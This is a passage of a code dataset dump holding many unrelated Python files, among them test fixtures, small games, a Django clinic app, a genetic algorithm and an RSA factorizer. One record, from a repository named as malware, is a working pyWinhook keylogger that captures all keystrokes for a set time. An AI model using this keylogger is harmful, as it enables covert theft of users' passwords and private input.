\"basic_example.json\"\n )\n pytest.COMPLEX_EXAMPLE_PATH = (\n Path(__file__).parent.absolute() / \"data\" / \"complex_example.json\"\n )\n pytest.OPENAPI_EXAMPLE_PATH = (\n Path(__file__).parent.absolute() / \"data\" / \"Openapi.json\"\n )\n\n pytest.CODE_WITH_SYNTAX_ERROR = \"\"\"\ndef get_text():\n retun \"Hello World\"\n \"\"\"\n\n\n@pytest.fixture()\nasync def async_client() -> AsyncGenerator:\n from langflow.main import create_app\n\n app = create_app()\n async with AsyncClient(app=app, base_url=\"http://testserver\") as client:\n yield client\n\n\n# Create client fixture for FastAPI\n# @pytest.fixture(scope=\"module\", autouse=True)\n# def client():\n# from langflow.main import create_app\n\n# app = create_app()\n\n# with TestClient(app) as client:\n# yield client\n\n\ndef get_graph(_type=\"basic\"):\n \"\"\"Get a graph from a json file\"\"\"\n\n if _type == \"basic\":\n path = pytest.BASIC_EXAMPLE_PATH\n elif _type == \"complex\":\n path = pytest.COMPLEX_EXAMPLE_PATH\n elif _type == \"openapi\":\n path = pytest.OPENAPI_EXAMPLE_PATH\n\n with open(path, \"r\") as f:\n flow_graph = json.load(f)\n data_graph = flow_graph[\"data\"]\n nodes = data_graph[\"nodes\"]\n edges = data_graph[\"edges\"]\n return Graph(nodes, edges)\n\n\n@pytest.fixture\ndef basic_graph_data():\n with open(pytest.BASIC_EXAMPLE_PATH, \"r\") as f:\n return json.load(f)\n\n\n@pytest.fixture\ndef basic_graph():\n return get_graph()\n\n\n@pytest.fixture\ndef complex_graph():\n return get_graph(\"complex\")\n\n\n@pytest.fixture\ndef openapi_graph():\n return get_graph(\"openapi\")\n\n\n@pytest.fixture\ndef json_flow():\n with open(pytest.BASIC_EXAMPLE_PATH, \"r\") as f:\n return f.read()\n\n\n@pytest.fixture(name=\"session\")\ndef session_fixture():\n engine = create_engine(\n \"sqlite://\", connect_args={\"check_same_thread\": False}, poolclass=StaticPool\n )\n SQLModel.metadata.create_all(engine)\n with Session(engine) as session:\n yield session\n\n\n@pytest.fixture(name=\"client\", autouse=True)\ndef client_fixture(session: Session, monkeypatch):\n # Set the database url to a test database\n db_dir = tempfile.mkdtemp()\n db_path = Path(db_dir) / \"test.db\"\n monkeypatch.setenv(\"LANGFLOW_DATABASE_URL\", f\"sqlite:///{db_path}\")\n # monkeypatch.setenv(\"LANGFLOW_AUTO_LOGIN\", 1)\n\n def get_session_override():\n return session\n\n from langflow.main import create_app\n\n app = create_app()\n\n # app.dependency_overrides[get_session] = get_session_override\n with TestClient(app) as client:\n yield client\n # app.dependency_overrides.clear()\n monkeypatch.undo()\n # clear the temp db\n db_path.unlink()\n\n\n# @contextmanager\n# def session_getter():\n# try:\n# session = Session(engine)\n# yield session\n# except Exception as e:\n# print(\"Session rollback because of exception:\", e)\n# session.rollback()\n# raise\n# finally:\n# session.close()\n\n\n# create a fixture for session_getter above\n@pytest.fixture(name=\"session_getter\")\ndef session_getter_fixture(client):\n @contextmanager\n def blank_session_getter(db_manager: \"DatabaseManager\"):\n with Session(db_manager.engine) as session:\n yield session\n\n yield blank_session_getter\n\n\n@pytest.fixture\ndef runner():\n return CliRunner()\n\n\n@pytest.fixture\ndef test_user(client):\n user_data = UserCreate(\n username=\"testuser\",\n password=\"testpassword\",\n )\n response = client.post(\"/api/v1/users\", json=user_data.dict())\n assert response.status_code == 201\n return response.json()\n\n\n@pytest.fixture(scope=\"function\")\ndef active_user(client):\n db_manager = get_db_manager()\n with session_getter(db_manager) as session:\n user = User(\n username=\"activeuser\",\n password=get_password_hash(\"testpassword\"),\n is_active=True,\n is_superuser=False,\n )\n session.add(user)\n session.commit()\n session.refresh(user)\n return user\n\n\n@pytest.fixture\ndef logged_in_headers(client, active_user):\n login_data = {\"username\": active_user.username, \"password\": \"testpassword\"}\n response = client.post(\"/api/v1/login\", data=login_data)\n assert response.status_code == 200\n tokens = response.json()\n a_token = tokens[\"access_token\"]\n return {\"Authorization\": f\"Bearer {a_token}\"}\n\n\n@pytest.fixture\ndef flow(client, json_flow: str, active_user):\n from langflow.services.database.models.flow.flow import FlowCreate\n\n loaded_json = json.loads(json_flow)\n flow_data = FlowCreate(\n name=\"test_flow\", data=loaded_json.get(\"data\"), user_id=active_user.id\n )\n flow = Flow(**flow_data.dict())\n with session_getter(get_db_manager()) as session:\n session.add(flow)\n session.commit()\n session.refresh(flow)\n\n return flow\n","repo_name":"resources-zhangyw/langflow","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":5800,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"17274916937","text":"\"\"\"Test API\"\"\"\nimport json\n\nfrom django.contrib.auth.models import User\n\nfrom graphene_django.utils.testing import GraphQLTestCase\n\nfrom cardgame.schema import schema\n\n\nclass LoginAPITestCase(GraphQLTestCase):\n GRAPHQL_SCHEMA = schema\n\n def setUp(self):\n self.user = User.objects.create_user(username=\"Peter\", password=\"Parker1!\")\n\n def test_login(self):\n \"\"\"Test successful login\"\"\"\n response = self.query(\n \"\"\"mutation {\n loginUser(username:\"Peter\", password:\"Parker1!\") {\n success\n }\n }\n \"\"\",\n )\n self.assertResponseNoErrors(response)\n content = json.loads(response.content)\n self.assertEqual(content[\"data\"][\"loginUser\"][\"success\"], True)\n\n def test_bad_login(self):\n \"\"\"Test unsuccessful login\"\"\"\n response = self.query(\n \"\"\"mutation {\n loginUser(username:\"Pedro\", password:\"Parquero2?\") {\n success\n }\n }\"\"\",\n )\n self.assertResponseNoErrors(response)\n content = json.loads(response.content)\n self.assertEqual(content[\"data\"][\"loginUser\"][\"success\"], False)\n\n\nclass GameAPITestCase(GraphQLTestCase):\n GRAPHQL_SCHEMA = schema\n\n def setUp(self):\n self.user = User.objects.create_user(username=\"Peter\", password=\"Parker1!\")\n self.playGameQuery = \"\"\"mutation {\n playGame {\n gameId\n gameStatus\n createdAt\n updatedAt\n message\n cardsDealt\n cardsLeft\n cards {\n suit\n rank\n }\n }\n }\"\"\"\n self.loginQuery = \"\"\"mutation {\n loginUser(username:\"Peter\", password:\"Parker1!\") {\n success\n }\n }\"\"\"\n self.resetQuery = \"\"\"mutation {\n resetGame {\n success\n }\n }\"\"\"\n\n def test_play_game(self):\n \"\"\"Basic test for playing a new game\"\"\"\n\n # Log in\n response = self.query(self.loginQuery)\n content = json.loads(response.content)\n self.assertEqual(content[\"data\"][\"loginUser\"][\"success\"], True)\n\n # Start playing\n response = self.query(self.playGameQuery)\n content = json.loads(response.content)\n\n # Should have an in progress game with 5 cards dealt\n self.assertEqual(content[\"data\"][\"playGame\"][\"cardsDealt\"], 5)\n self.assertEqual(content[\"data\"][\"playGame\"][\"gameStatus\"], \"IN_PROGRESS\")\n\n def test_game_continuity(self):\n \"\"\"Test that game state is persisted across requests\"\"\"\n self.query(self.loginQuery)\n\n response = self.query(self.playGameQuery)\n content = json.loads(response.content)[\"data\"][\"playGame\"]\n\n # Draw once\n game_id = content[\"gameId\"]\n self.assertEqual(content[\"cardsDealt\"], 5)\n\n # Draw 3 more times\n self.query(self.playGameQuery)\n self.query(self.playGameQuery)\n response = self.query(self.playGameQuery)\n\n # Should be the same game, with 20 cards dealt\n content = json.loads(response.content)[\"data\"][\"playGame\"]\n self.assertEqual(content[\"gameId\"], game_id)\n self.assertEqual(content[\"cardsDealt\"], 20)\n\n def test_new_game(self):\n \"\"\"Tests that a new game begins when a game finishes\"\"\"\n self.query(self.loginQuery)\n\n # Draw all 52 cards\n for _ in range(11):\n response = self.query(self.playGameQuery)\n\n # Game should be over now\n content = json.loads(response.content)[\"data\"][\"playGame\"]\n game_id = content[\"gameId\"]\n self.assertNotEqual(content[\"gameStatus\"], \"IN_PROGRESS\")\n self.assertEqual(content[\"cardsLeft\"], 0)\n\n # Draw again\n response = self.query(self.playGameQuery)\n\n # Game should be different\n content = json.loads(response.content)[\"data\"][\"playGame\"]\n self.assertNotEqual(content[\"gameId\"], game_id)\n self.assertEqual(content[\"cardsDealt\"], 5)\n\n def test_reset_game(self):\n \"\"\"Test that we can reset an in-progress game\"\"\"\n self.query(self.loginQuery)\n\n # Draw 10 cards\n for _ in range(2):\n response = self.query(self.playGameQuery)\n\n content = json.loads(response.content)[\"data\"][\"playGame\"]\n game_id = content[\"gameId\"]\n self.assertEqual(content[\"cardsLeft\"], 42)\n\n # Reset the game\n response = self.query(self.resetQuery)\n\n # Deal again\n response = self.query(self.playGameQuery)\n\n # Game should be same, but dealt cards restarted\n content = json.loads(response.content)[\"data\"][\"playGame\"]\n self.assertEqual(content[\"gameId\"], game_id)\n self.assertEqual(content[\"cardsDealt\"], 5)\n","repo_name":"bf6/card-game","sub_path":"server/tests/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":5341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"17179142182","text":"import unittest\n\nfrom selenium import webdriver\n\nfrom pages import home_page as hp\nfrom pages import customer_page as cp\nfrom pages import manager_page as mp\n\nclass ManageCustomerTests(unittest.TestCase):\n\n def setUp(self):\n self.driver = webdriver.Firefox()\n self.home_page = hp.HomePage(self.driver)\n self.manager_page = mp.ManagerPage(self.driver)\n self.home_page.go_to_home_page()\n self.driver.implicitly_wait(30)\n self.home_page.click_on_bank_manager_login_button()\n self.manager_page.create_test_customer()\n\n def tearDown(self):\n self.driver.quit()\n\n def test_delete_customer(self):\n self.manager_page.click_on_customers_button()\n self.manager_page.fill_search_input_using_name('Alberto')\n self.manager_page.delete_customer_when_search()\n self.manager_page.clear_search_input()\n boolearn = self.manager_page.if_customer_exist('Alberto')\n self.assertFalse(boolearn)\n\n def test_search_customer(self):\n self.manager_page.click_on_customers_button()\n boolearn = self.manager_page.if_customer_exist('Alberto')\n self.assertTrue(boolearn)\n \nif __name__ == \"__main__\":\n unittest.main()\n ","repo_name":"tlazarchuk/automation_project_python","sub_path":"manage_customer.py","file_name":"manage_customer.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"23689786840","text":"import random\nfrom art import logo\nfrom replit import clear\n\ndef pick_number():\n \"\"\"Randomly pick a number from 1 to 100\"\"\"\n number = random.randrange(1,101)\n return number\n\ndef take_guess():\n \"\"\"Validates given user input\"\"\"\n ask_over = False\n while not ask_over:\n try:\n guess = int(input(\"Guess a number from 1 to 100: \"))\n if guess in range(1,101):\n ask_over = True\n return guess\n else:\n print(\"You should pick from 1 to 100, try again\")\n except ValueError:\n print(\"No... input must be an integer. Pick from 1 to 100.\")\n \ndef define_dificulty():\n \"\"\"\"Returns number of guesses based on difficulty level\"\"\"\n choices = [\"easy\",\"medium\",\"high\"]\n ask_over = False\n while not ask_over:\n choice = input(\"Choose dicifulty level from: easy, medium or high: \")\n choice = choice.lower()\n if choice in choices:\n ask_over = True\n if choice == \"easy\":\n return 10\n elif choice == \"medium\":\n return 7\n else:\n return 5\n else:\n print(\"Incorrect dificulty level, try again.\")\n\n \n\ndef result(number, guess):\n \"\"\"\"Compare user guess with picked number\"\"\"\n if guess == number:\n return \"You guessed right!\"\n elif guess > number:\n return \"Too high\"\n else:\n return \"Too low\"\n\n\n \ndef play_game():\n print(logo)\n print(\"Hello!\\nWelcome to the number guessing game!\\nI'm thinking about a number between 1 and 100.\")\n number_of_guesses = define_dificulty()\n print(f\"You have {number_of_guesses} guesses.\")\n correct_guess = pick_number()\n user_guess = take_guess()\n game_over = False\n \n while not game_over:\n # print(correct_guess) # for testing purpose\n print(result(correct_guess,user_guess))\n if number_of_guesses == 1:\n game_over = True\n elif number_of_guesses >21449327587123485:\n game_over = True\n else: \n if user_guess != correct_guess:\n number_of_guesses -=1\n print(f\"You have {number_of_guesses} guesses left.\")\n user_guess = take_guess()\n else:\n game_over = True\n print(\"end of the game\")\n\nplay_game()\n \nwhile input(\"Do you want to play again? write 'y' or 'n': \") == \"y\":\n clear()\n play_game()\n \n","repo_name":"Grzegorz1997/Learning","sub_path":"Guess_the_number/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"31839838549","text":"import sys\n\n# Verifica se os parâmetros foram passados\nif len(sys.argv) != 14: # Lembre-se que o nome do programa é o primeiro da lista\n print(\"\\nVocê está usando a saída que une o primeiro e o segundo.\\n\\n\")\nelse:\n primeiro = open(sys.argv[1], \"r\")\n segundo = open(sys.argv[2], \"r\")\n saída = open(sys.argv[3], \"w\")\n\n # Funciona de forma similar ao readlines\n for l1 in primeiro:\n saída.write(l1)\n for l2 in segundo:\n saída.write(l2)\n\n primeiro.close()\n segundo.close()\n saída.close()\n copy\n","repo_name":"keilaramos/Logica_com_Python","sub_path":"capitulo9_arquivos/exercicio9.4_gerendo_saida_de_dois_arquivos_abertos.py","file_name":"exercicio9.4_gerendo_saida_de_dois_arquivos_abertos.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"33086702043","text":"from collections import deque\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Codec:\n\n def serialize(self, root: TreeNode) -> str:\n \"\"\"Encodes a tree to a single string.\n \"\"\"\n res = []\n self.preOrder(root, res)\n return ' '.join(map(str, res))\n \n def preOrder(self, root, res):\n if not root: return\n res.append(root.val)\n self.preOrder(root.left, res)\n self.preOrder(root.right, res)\n\n def deserialize(self, data: str) -> TreeNode:\n \"\"\"Decodes your encoded data to tree.\n \"\"\"\n values = deque(map(int, data.split()))\n return self.build(values, float('-inf'), float('inf'))\n \n def build(self, values, minValue, maxValue):\n if values and minValue < values[0] < maxValue:\n value = values.popleft()\n root = TreeNode(value)\n root.left = self.build(values, minValue, value)\n root.right = self.build(values, value, maxValue)\n return root\n \n\n# Your Codec object will be instantiated and called as such:\n# codec = Codec()\n# codec.deserialize(codec.serialize(root))","repo_name":"zixuanzhang-x/algorithms","sub_path":"leetcode/449_serialize_and_deserialize_BST.py","file_name":"449_serialize_and_deserialize_BST.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"42257705519","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Aug 24 10:45:33 2021\r\n\r\n@author: F-CUI\r\n\"\"\"\r\n\r\n# Filling the gaps\r\nimport pandas as pd\r\nfrom fuzzywuzzy import fuzz\r\nfrom pathlib import Path\r\n\r\npath = Path( r\"E:\\policies_output\" )\r\nfolders= [format(i, '#04x')[2:4] for i in range(256)] # generating a list of the folder names in the format of #04x\r\nfolders_given = [g.name for g in path.glob('*')]\r\nif all([f in folders_given for f in folders]): # check if the folders are correct\r\n for folder in folders:\r\n # for folder in folders[12:]: #change it back later!!!\r\n \r\n path = Path( r\"E:\\policies_output\" ) / folder\r\n files = list(path.glob(\"*.csv\"))\r\n print(folder, path)\r\n # print(files)\r\n \r\n for file in files: \r\n print(folder, file)\r\n df = pd.read_csv(file, index_col=0, encoding=\"utf-8\")\r\n df['filled']=df['content']\r\n for i in range(len(df)-2):\r\n if str(df.loc[i,'filled']) != 'nan':\r\n for j in range(i+2,len(df)):\r\n if str(df.loc[j,'filled']) != 'nan':\r\n Ratio = fuzz.ratio(str(df.loc[i,'filled']),str(df.loc[j,'filled']))\r\n if Ratio >= 95:\r\n for k in range(i+1,j):\r\n df.loc[k,'filled'] = df.loc[j,'filled']\r\n else:\r\n break\r\n \r\n df.to_csv(file, encoding=\"utf-8\")\r\n ","repo_name":"cuijimg/gapfilling","sub_path":"gapsfilling.py","file_name":"gapsfilling.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"2524312864","text":"\"\"\"\n항상 작은 숫자 2개를 더하는 것이 전체로 봐도 가장 최적의 해인 그리디 알고리즘 문제\n작은 숫자 2개를 구하기 위해 우선순위 큐(heapq를 통해 구현)를 이용함\n\"\"\"\nimport sys\nfrom heapq import *\nN = int(sys.stdin.readline())\narr = []\nans = 0\nfor i in range(N):\n card = int(sys.stdin.readline())\n heappush(arr, card)\nif N == 1:\n print(0)\nelse:\n while len(arr) > 1:\n a = heappop(arr)\n b = heappop(arr)\n partial_sum = a+b\n ans += partial_sum\n heappush(arr, partial_sum)\n print(ans)\n\n\n","repo_name":"mnmsgit/ProblemSolving","sub_path":"백준/Gold/1715. 카드 정렬하기/카드 정렬하기.py","file_name":"카드 정렬하기.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"30156302047","text":"from django.shortcuts import render, HttpResponse, redirect, get_object_or_404\nfrom .forms import PacienteModelForm\nfrom .models import Paciente, Convenio\nfrom django.contrib.messages import constants\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.paginator import Paginator\nfrom django.db.models import Q\n\n\n\n \n@login_required #type:ignore\ndef cadastrar_paciente(request):\n pacientes = Paciente.objects.all()\n if request.method == 'GET':\n if request.GET.get('termo'):\n termo = request.GET.get('termo')\n pacientes = Paciente.objects.filter(Q(nome__icontains=termo)|Q(email__icontains=termo)|Q(cpf__icontains=termo)|Q(telefone__icontains=termo))\n return render(request, 'paciente/cadastro_paciente.html', {'pacientes':pacientes})\n else:\n pacientes = Paciente.objects.order_by('-nome')\n pacientes = Paciente.objects.all()\n paginator = Paginator(pacientes, 5) \n page = request.GET.get('page')\n pacientes = paginator.get_page(page)\n return render(request, 'paciente/cadastro_paciente.html', {'pacientes':pacientes})\n \n \n elif request.method == 'POST':\n nome = request.POST.get('nome')\n email = request.POST.get('email')\n data_nascimento = request.POST.get('data_nascimento')\n cpf = request.POST.get('cpf')\n telefone = request.POST.get('telefone') \n endereco = request.POST.get('endereco') \n \n if not nome or not email or not cpf or not telefone or not endereco:\n messages.add_message(request, constants.ERROR, 'Não pode aver campos em Branco!!')\n return redirect('cadastrar_paciente')\n \n elif Paciente.objects.filter(cpf=cpf).exists():\n messages.add_message(request, constants.ERROR, 'CPF já cadastrado!!')\n return redirect('cadastrar_paciente')\n \n elif Paciente.objects.filter(email=email).exists():\n messages.add_message(request, constants.ERROR, 'E-mail já cadastrado!!')\n return redirect('cadastrar_paciente')\n \n paciente = Paciente(\n nome = nome,\n data_nascimento = data_nascimento,\n cpf = cpf,\n email = email,\n telefone = telefone,\n endereco = endereco,\n \n )\n paciente.save()\n messages.add_message(request, constants.SUCCESS, 'Paciente salvo Com sucesso!!')\n return redirect('cadastrar_paciente')\n@login_required \ndef delete_paciente(request, id):\n paciente = get_object_or_404(Paciente, id = id)\n paciente.delete()\n messages.add_message(request, constants.SUCCESS, 'Paciente excluido Com sucesso!!')\n return redirect('cadastrar_paciente')\n@login_required \ndef editar_paciente(request, id):\n paciente = get_object_or_404(Paciente, id = id)\n return render(request, 'paciente/editar_paciente.html', {'paciente':paciente})\n@login_required \ndef update(request, id):\n nome = request.POST.get('nome')\n email = request.POST.get('email')\n data_nascimento = request.POST.get('data_nascimento')\n cpf = request.POST.get('cpf')\n telefone = request.POST.get('telefone') \n endereco = request.POST.get('endereco') \n \n paciente = Paciente.objects.get(id=id)\n \n paciente.nome = nome\n paciente.data_nascimento = data_nascimento\n paciente.cpf = cpf\n paciente.email = email\n paciente.telefone = telefone\n paciente.endereco = endereco\n paciente.save()\n messages.add_message(request, constants.SUCCESS, 'Paciente editado Com sucesso!!')\n return redirect('cadastrar_paciente')\n ","repo_name":"viniciostec22/SysMed","sub_path":"paciente/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3812,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"73144433038","text":"import array\nimport random\nfrom types import MethodType, FunctionType\n\nimport numpy as np\n\nfrom deap import algorithms\nfrom deap import base\nfrom deap import creator\nfrom deap import tools\n\n\nclass GA(object):\n \"\"\"\n Genetic algorithm using the DEAP library https://github.com/DEAP/deap.\n\n This implementation is not universal.\n It works only for binary choice of controls with no switching rules.\n \"\"\"\n def __init__(self, init_state, propagator, cost_func, nsteps, pop_size, **kwargs):\n \"\"\"\n Constructor\n :param init_state: (object) The initial state of a system\n\n :param propagator: A callable object must accept three arguments: Self, the value of control C,\n and the state of a system S. Returns the new state of by acting onto state S by control C.\n\n :param control_switching: (optional) A graph specifying the rules of switching of controls.\n\n :param cost_func: An objective function to be maximized. It must accept three two arguments: self and state\n\n :param nsteps: number of steps to take during the simulation stage (aka, the length of genome)\n\n :param pop_size: the population size for GA (number of individuals per generation)\n\n :param min_cost_func: (optional) minimal value of attainable by the cost function\n\n :param max_cost_func: (optional) maximal value of attainable by the cost function\n \"\"\"\n self.init_state = init_state\n self.nsteps = nsteps\n self.pop_size = pop_size\n\n self.propagator = MethodType(propagator, self)\n self.cost_func = MethodType(cost_func, self)\n\n # save all the other attributes\n for name, value in kwargs.items():\n # if the value supplied is a function, then dynamically assign it as a method;\n if isinstance(value, FunctionType):\n setattr(self, name, MethodType(value, self))\n # otherwise bind it as a property\n else:\n setattr(self, name, value)\n\n ########################################################################################\n #\n # Initialize GA. This implementation is based on\n # https://github.com/DEAP/deap/blob/master/examples/ga/onemax_short.py\n #\n ########################################################################################\n\n creator.create(\"FitnessMax\", base.Fitness, weights=(1.0,))\n creator.create(\"Individual\", array.array, typecode='b', fitness=creator.FitnessMax)\n\n self.toolbox = base.Toolbox()\n\n # Attribute generator\n self.toolbox.register(\"attr_bool\", random.randint, 0, 1)\n\n # Structure initializers\n self.toolbox.register(\"individual\", tools.initRepeat, creator.Individual, self.toolbox.attr_bool, self.nsteps)\n self.toolbox.register(\"population\", tools.initRepeat, list, self.toolbox.individual)\n\n self.toolbox.register(\"evaluate\", self.ga_obj_func)\n self.toolbox.register(\"mate\", tools.cxTwoPoint)\n self.toolbox.register(\"mutate\", tools.mutFlipBit, indpb=0.05)\n self.toolbox.register(\"select\", tools.selTournament, tournsize=3)\n\n self.pop = self.toolbox.population(n=self.pop_size)\n self.hof = tools.HallOfFame(1)\n self.stats = tools.Statistics(lambda ind: ind.fitness.values)\n self.stats.register(\"avg\", np.mean)\n self.stats.register(\"std\", np.std)\n self.stats.register(\"min\", np.min)\n self.stats.register(\"max\", np.max)\n\n def ga_obj_func(self, individual):\n \"\"\"\n The Fitness function for the genetic algorithm\n :param individual: the genome of an individual (string of controls)\n :return: value,\n \"\"\"\n # make a local copy of the intial state\n state = self.init_state.copy()\n\n max_cost = self.cost_func(state)\n\n for control in individual:\n # update state\n state = self.propagator(control, state)\n\n max_cost = max(max_cost, self.cost_func(state))\n\n return max_cost,\n\n def make_rounds(self, nrounds=1, verbose=False):\n \"\"\"\n Performing nrounds of Monte Carlo rounds\n :param nsteps: a positive integer\n :param verbose: a boolean flag whether to print stats per each generation of GA\n :return: self\n \"\"\"\n\n self.pop, self.log = algorithms.eaSimple(\n self.pop, self.toolbox, cxpb=0.5, mutpb=0.2, ngen=nrounds,\n stats=self.stats, halloffame=self.hof, verbose=verbose,\n )\n\n return self\n\n ###################################################################################################\n #\n # Analysis\n #\n ###################################################################################################\n\n def max_cost(self):\n \"\"\"\n Return the found maximal value of the cost fuction\n :return: max val\n \"\"\"\n # Extract the best individual from the hol of fame\n return max(self.ga_obj_func(individual)[0] for individual in self.hof)\n\n###################################################################################################\n#\n# Test\n#\n###################################################################################################\n\n\nif __name__=='__main__':\n ###############################################################################################\n #\n # Run the optimization\n #\n ###############################################################################################\n\n # import declaration of random system\n from get_randsys import get_rand_unitary_sys\n\n ga = GA(nsteps=100, pop_size=200, **get_rand_unitary_sys(10))\n\n print(\"Maximal attainable value \", ga.max_cost_func)\n\n ga.make_rounds(nrounds=100, verbose=True)\n\n","repo_name":"dibondar/QStochDynProg","sub_path":"ga.py","file_name":"ga.py","file_ext":"py","file_size_in_byte":5827,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"21208842956","text":"import pythoncom\nimport pyWinhook\nimport time\n\n\nclass KeyLogger:\n def __init__(self):\n self._log_buffer = \"\"\n\n def _convert_to_char(self, event: pyWinhook.KeyboardEvent):\n ascii_code = int(event.Ascii)\n if 0 <= ascii_code <= 31 or ascii_code == 127:\n return '[' + event.Key + ']'\n return chr(ascii_code)\n\n def _log_key(self, event: pyWinhook.KeyboardEvent):\n key = self._convert_to_char(event)\n self._log_buffer += key\n return True\n\n def intercept_keys(self, seconds) -> str:\n hook_manager = pyWinhook.HookManager()\n hook_manager.KeyDown = self._log_key\n hook_manager.HookKeyboard()\n start_time = time.time()\n current_time = time.time()\n while current_time - start_time < seconds:\n pythoncom.PumpWaitingMessages()\n current_time = time.time()\n hook_manager.UnhookKeyboard()\n logged_keys = self._log_buffer\n self._log_buffer = \"\"\n return logged_keys\n","repo_name":"bfedoronchuk/windows-10-malware","sub_path":"bot/malware/key_logger.py","file_name":"key_logger.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"70578351760","text":"\nimport pika\nimport json\nfrom interface import implements\n\nfrom factorizer.rsa_factorizer import rsa_factorizer\n\n\nclass rsa_pollard_rho_parallel(implements(rsa_factorizer)):\n def __init__(self, n, e, m, k_calculator, n_calculator, worker_ips, server_ip):\n self.n = n\n self.e = e\n self.m = m\n self.k_calculator = k_calculator\n self.n_calculator = n_calculator\n self.worker_ips = worker_ips\n self.server_ip = server_ip\n self.processed_results = 0\n\n\n def result_received(self, ch, method, properties, body):\n print('result_recieved')\n data = json.loads(body)\n if data['p'] != 1 and data['p'] != self.n:\n ch.stop_consuming()\n else:\n self.processed_results += 1\n\n if self.processed_results == self.m:\n self.processed_results = 0\n ch.basic_publish(exchange='pollard_rho_initiate', routing_key='', body=json.dumps({'server_ip': data['server_ip'], 'n': data['n'], 'k':1, 'a': data['a'] + 2, 'trial_n': data['trial_n'], 'worker_ips': self.worker_ips}))\n\n def factorize(self):\n global xs, ys\n trial_n = self.n_calculator.calculate(self.n, self.m, 1)\n connection = pika.BlockingConnection(pika.ConnectionParameters(host=self.server_ip))\n channel = connection.channel()\n channel.basic_publish(exchange='pollard_rho_parallel_setup', routing_key='', body=json.dumps({'server_ip': self.server_ip, 'n':self.n, 'k':1, 'a':1, 'trial_n': trial_n, 'worker_ips': self.worker_ips}))\n channel.queue_declare(queue='pollard_rho_parallel_result')\n channel.basic_consume(self.result_received,\n queue='pollard_rho_parallel_result',\n no_ack=True)\n print('Waiting for messages. To exit press CTRL+C')\n channel.start_consuming()\n\nclass advanced_n_calculator:\n def __init__(self, k):\n self.k = k\n def calculate(self, n, m, k):\n # The extra m is added to ensure that m divides n\n return int(m * (n ** (1/4) // m ** 2))\n","repo_name":"lassemand/rsafactor","sub_path":"factorizer/pollard_rho/rsa_pollard_rho_parallel.py","file_name":"rsa_pollard_rho_parallel.py","file_ext":"py","file_size_in_byte":2070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"19785009740","text":"from collections import deque\n\nimport math\n\ndef solve(monkey):\n for item in monkeys[monkey]['items']:\n worry_level = item\n if operation[0] == '*':\n if operation[1] == 'old':\n worry_level *= worry_level\n else:\n worry_level *= int(operation[1])\n elif operation[0] == '+':\n if operation[1] == 'old':\n worry_level += worry_level\n else:\n worry_level += int(operation[1])\n # worry_level = math.floor(worry_level / 3)\n if worry_level % monkeys[monkey]['test']['divisible by'] == 0:\n name = monkeys[monkey]['test']['true']\n monkeys[name]['items'].append(worry_level)\n else:\n name = monkeys[monkey]['test']['false']\n monkeys[name]['items'].append(worry_level)\n monkeys[monkey]['inspected items'] += 1\n monkeys[monkey]['items'] = []\n\n\ninput_data = open('input_data.txt').read().split('\\n\\n')\nmonkeys = {}\n\nfor line in input_data:\n line = line.split('\\n ')\n items = [int(i) for i in line[1].split(': ')[-1].split(', ')]\n name = line[0][:-1].lower()\n monkeys[name] = {}\n monkeys[name]['items'] = items\n monkeys[name]['operation'] = line[2].split(': new = old ')[-1]\n monkeys[name]['test'] = {}\n monkeys[name]['test']['divisible by'] = int(line[3].split(\"Test: divisible by \")[-1])\n monkeys[name]['test']['true'] = line[4].split(\": throw to \")[-1]\n monkeys[name]['test']['false'] = line[5].split(\": throw to \")[-1]\n monkeys[name]['inspected items'] = 0\n\nfor round in range(20):\n for monkey, details in monkeys.items():\n operation = monkeys[monkey]['operation'].split()\n for item in monkeys[monkey]['items']:\n worry_level = item\n if operation[0] == '*':\n if operation[1] == 'old':\n worry_level *= worry_level\n else:\n worry_level *= int(operation[1])\n elif operation[0] == '+':\n if operation[1] == 'old':\n worry_level += worry_level\n else:\n worry_level += int(operation[1])\n # worry_level = math.floor(worry_level / 3)\n if worry_level % monkeys[monkey]['test']['divisible by'] == 0:\n name = monkeys[monkey]['test']['true']\n monkeys[name]['items'].append(worry_level)\n else:\n name = monkeys[monkey]['test']['false']\n monkeys[name]['items'].append(worry_level)\n monkeys[monkey]['inspected items'] += 1\n monkeys[monkey]['items'] = []\n\ninspected_items = []\nfor name, value in monkeys.items():\n inspected_items.append(monkeys[name]['inspected items'])\ninspected_items.sort()\nprint(inspected_items)\nprint(inspected_items[-1] * 